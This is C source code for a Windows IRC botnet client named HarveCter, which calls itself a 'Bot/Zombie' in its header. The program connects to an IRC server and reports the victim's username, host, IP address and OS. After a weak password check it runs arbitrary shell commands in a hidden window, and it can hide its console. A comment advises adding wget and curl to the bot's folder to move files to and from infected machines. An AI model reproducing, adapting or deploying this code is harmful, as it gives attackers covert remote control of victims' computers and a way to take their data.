```
/*
HarveCter IRCBot 0.8
This 31337 code by: Harvie 2oo7
Windows IRC Bot/Zombie/Whatever you want...

INFO:
Optimalized for Dev-Cpp
Compile as window app to make a daemon

Warning:
There is not so big security!!!
If you want to keep your zombies,
control them only by PM or at completely secure channel!!!
All passwords, that are starting with your password will be accepted!!!

COMMANDS:
Warning: all commands are case sensitive

!login [login]          //Bad login=logout
!chanpass               //Set mode +k

PRIVILEGED COMMANDS:
!SAY [msg]              //Say msg
!CMD [shell command]    //Execute command @ zombie
!raw [line to send]     //Sends raw line to server (you can OP yourself)
!info                   //Info about zombie
!time                   //Localtime @ zombie
!show                   //Show console window
!hide                   //Hide console window
!restart                //Restart connection

Comments:
6 * 128 == 768 == Maximum lenght of IRC message (RFC)
*/

//Preproc:
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <winsock.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.a");

//Sends IRC message "msg" to "channel" over socket "s".
int irc_sendmsg(int s, char *channel, char *msg) {
    int len, err;
    char snd[1024];
    sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg);
    len = strlen(snd);
    err = send(s, snd, len, 0);
    //printf("%s", snd); //Show
    return err;
    }

//Main:
//int main(int argc, char *argv[]) {
int WINAPI WinMain (HINSTANCE instance, HINSTANCE previous, LPSTR commandline, int show) {
```

```
//SETTINGS: ////////////////////////////////////////////////////////
    char server[] = "irc.2600.net"; //IRC Server
    int port = 6667; //Port of IRC Server
    char channel[] = "#hv"; //IRC Channel
    char nick[128] = "Harvecter"; //Username of active user will be used instead
    char pass[] = "test"; //Bot Password
    char chanpass[] = "lol"; //Channel Password
//MISC:////////////////////////////////////////////////////////////
    char cmdfile[] = "commands.bat";
    FILE *cmdf;
    char version[] = "0.8"; //Bot version
    char lclhost[256], lclhostnm[256], hostmsg[1000];
    //AllocConsole(); //Ukazat
    //FreeConsole(); //Schovat... ;)
    //freopen("log.txt", "ab", stdout);
////////////////////////////////////////////////////////////////////

//CODE:
    srand(time(0));
    char *user, *processor, *root, *logonsrvr, *os, rnd[10];
    struct tm *localtime(const time_t *tod);
    user = getenv("USERNAME");
    processor = getenv("PROCESSOR_IDENTIFIER");
    root = getenv("SystemRoot");
    logonsrvr = getenv("LOGONSERVER");
    os = getenv("OS");
    sprintf(rnd, "%i", rand());
    sprintf(nick, "H-%s-%s", user, rnd);
    //time
    time_t cas;
    struct tm *p_st_cas;
    //CMD
    FILE *p_proc;
    char procc;



    //Intro
    printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n", version, channel, server, port, nick);
    //system("pause");

    //Deklarace pro WSA
    int s;
    SOCKADDR_IN sck;
    HOSTENT *host, *localhost;
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,1),&wsadata);

    //Data pro WSA
    while( (host=gethostbyname(server)) == NULL){ //Host
        printf("!Error server host not found\nwaiting 5s...\n");
        sleep(5000);
    }
    sck.sin_family = PF_INET;
    memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);
    sck.sin_port = htons(port); //Port
```

```
//Localhost Info
while ((localhost=gethostbyname("")) == NULL) {
    printf("!Error local host not found\nwaiting 5s...\n");
    sleep(5000);
    }
    sprintf(lclhostnm, "%s", localhost->h_name);
    sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr)));
    sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm
    printf("%s\n", hostmsg);

//Init
int len, err; //Lenght, Error
char snd[1024], msg[1000], rcv[1024], passin[1000], *sub;

//Infinite Loop
while(1) {

//Vytvorit socket
s=socket(AF_INET, SOCK_STREAM, 0);

//Pripojit
while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) {
    printf("!Error while connecting\nwaiting 5s...\n");
    sleep(5000);
    }

//Prihlasit
sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick);
len = strlen(snd);
err = send(s, snd, len, 0);

//Join&Set channel password
sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
sleep(1000);
err = send(s, snd, len, 0);
//mode #chan +k heslo
sleep(2000);
sprintf(snd, "MODE %s +n+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
sleep(1000);
err = send(s, snd, len, 0);


//Pozdravit
sprintf(msg, "Hello ;), let my introduce myself... I am %s v%s", nick, version); //Zprava
err = irc_sendmsg(s, channel, msg);
sprintf(msg, "!chanpass"); //Pozadat opa o nastaveni hesla
err = irc_sendmsg(s, channel, msg);

//Loop
err = 1;
while( err && err != -1) {

        //JOIN
        sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);

        //RECIEVE
        memset(rcv, '\0', 1024);
        sub = 0;
```

```
err = recv(s, rcv, 1024, 0);
printf("%s", rcv);

//PING-PONG
if ( (sub = (strstr(rcv, "PING :"))) ) {
   sub = sub+6;
   sprintf(snd, "PONG :%s", sub);
   len = strlen(snd);
   err = send(s, snd, len, 0);
   printf("%s", snd);
   }
sub = 0;

if ( (sub = (strstr(rcv, ":!chanpass"))) ) {
   printf("!Setting chanpass\n");
   sprintf(snd, "MODE %s +n+k %s\n", channel, chanpass);
   len = strlen(snd);
   err = send(s, snd, len, 0);
}
sub = 0;

//LOGIN
if ( (sub = (strstr(rcv, ":!login "))) ) {
   sub = sub+8;
   sprintf(passin, "%s", sub);
   if ( strstr(passin, pass) ) {  //Use this condition to check login.
      sprintf(msg, "Login succesful");
      irc_sendmsg(s, channel, msg);
      printf("\n!!!Login succesful\n");
   } else {
      sprintf(msg, "Loged out");
      irc_sendmsg(s, channel, msg);
      printf("!!!Loged out\n\n");
   }
}
sub = 0;

//IF LOGED IN:
if ( strstr(passin, pass) ) {

  //SAY
  if ( (sub = (strstr(rcv, ":!SAY "))) ) {
     sub = sub+6;
     sprintf(msg, "MSG: %s", sub); //Zprava
     err = irc_sendmsg(s, channel, msg);
   }
   sub = 0;

   //INFO (USER, DOMAIN, IP, ARCHITECTURE)
   if ( (sub = (strstr(rcv, ":!info"))) ) {
      err = irc_sendmsg(s, channel, hostmsg);
   }
   sub = 0;

   //TIME
   if ( (sub = (strstr(rcv, ":!time"))) ) {
         printf("Time\n");
         //struct tm t;
```

```
        cas = time(NULL);
    p_st_cas = localtime(&cas);

    strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas);
        //strftime(msg, 100, "%B %d, %Y", localtime);

    //sprintf(msg, "Time not implementet yet...\n");
    err = irc_sendmsg(s, channel, msg);
  }
  sub = 0;

  //SEND RAW
 if ( (sub = (strstr(rcv, ":!raw "))) ) {
    sub = sub+6;
    len = strlen(sub);
    err = send(s, sub, len, 0);
  }
  sub = 0;

  //SHELL
  //Hey! Don't forget to download wget&curl in bot directory!! ;D
  //With wget and curl you will be able to download and upload files...
  if ( (sub = (strstr(rcv, ":!CMD "))) ) {
    sub = sub+6;
    sprintf(snd, "%s", sub);
    printf("!CMD %s", snd);

    sprintf(msg, "Executing: %s", sub);
    irc_sendmsg(s, channel, msg);
    printf("!!! %s", msg);

    FILE *cmdf = fopen(cmdfile, "w");
    fprintf(cmdf, "%s\n", snd);
        fclose(cmdf);

    WinExec(cmdfile,SW_HIDE); //Hide console window
    //system(cmdfile); //Show console window

    /*
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION pi;
    CreateProcess(NULL, cmdfile, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    DWORD exit_code;
    GetExitCodeProcess(pi.hProcess, &exit_code);
    */
  }
  sub = 0;

  //HIDE/SHOW (windows.h)
  if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0;
  if ( (sub = (strstr(rcv, ":!show"))) ) { AllocConsole(); } sub = 0;

  //RESTART
  if ( (sub = (strstr(rcv, ":!restart"))) ) {
```

```
                sprintf(msg, "Please wait while restarting...");
                err = irc_sendmsg(s, channel, msg);
                closesocket(s);
                sprintf(msg, "ERROR: Couldn't close socket :(");
                err = irc_sendmsg(s, channel, msg);
                printf("\nRESTARTING...\n\n");
              }
              sub = 0;
            }//END LOCKED COMMANDS
    }//LoopEND

    //Zavrit
    closesocket(s);
    printf("!Error while sending\nwaiting 5s before reconnect...\n");
    sleep(5000);
    }//InfiniteLoopEND

    //Zavrit
    closesocket(s);
    WSACleanup(); //Flushnout WSA
    return(0);

}
```